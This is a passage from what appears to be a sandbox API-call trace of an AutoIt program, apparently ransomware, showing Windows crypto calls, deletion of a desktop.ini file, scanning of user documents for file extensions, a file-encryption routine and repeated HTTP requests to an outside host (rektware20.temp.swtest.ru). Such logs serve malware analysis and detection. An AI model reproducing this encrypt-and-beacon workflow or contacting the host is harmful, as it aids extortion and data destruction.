hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.430] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.430] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.430] WriteFile (in: hFile=0x3bc, lpBuffer=0x17a1cf8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17a1cf8*, lpNumberOfBytesWritten=0x130f01c*=0xe0, lpOverlapped=0x0) returned 1 [0072.431] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.431] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.431] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.431] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.431] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.431] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.431] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.432] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.432] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0072.432] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.432] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.432] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.432] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.432] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.432] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.432] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.433] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.433] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.433] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.433] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.433] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.433] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.433] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.433] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.433] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.433] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.433] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.433] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.433] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.434] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.434] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.434] CryptReleaseContext (hProv=0x17aaa28, dwFlags=0x0) returned 1 [0072.434] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.434] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.434] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.434] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.434] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.434] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.434] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.434] CloseHandle (hObject=0x2ac) returned 1 [0072.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.435] CloseHandle (hObject=0x3bc) returned 1 [0072.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.440] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", lpFilePart=0x0) returned 0x35 [0072.440] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\desktop.ini")) returned 0x2 [0072.441] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c970 [0072.441] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\desktop.ini")) returned 1 [0072.442] FindNextFileW (in: hFindFile=0x164c970, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.442] FindClose (in: hFindFile=0x164c970 | out: hFindFile=0x164c970) returned 1 [0072.443] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.443] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0072.443] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.443] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.443] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.443] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.443] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.443] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c) returned 1 [0072.444] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.444] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.444] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.445] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.445] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.445] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.445] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.446] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.446] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.446] CloseHandle (hObject=0x0) returned 0 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="My Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Shapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hapes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="apes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pes\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Favorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vorites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="orites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ites.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tes.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s.vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ssx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.448] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.448] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.448] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.448] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.448] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.448] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.448] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.448] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.448] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0072.448] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.448] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.449] 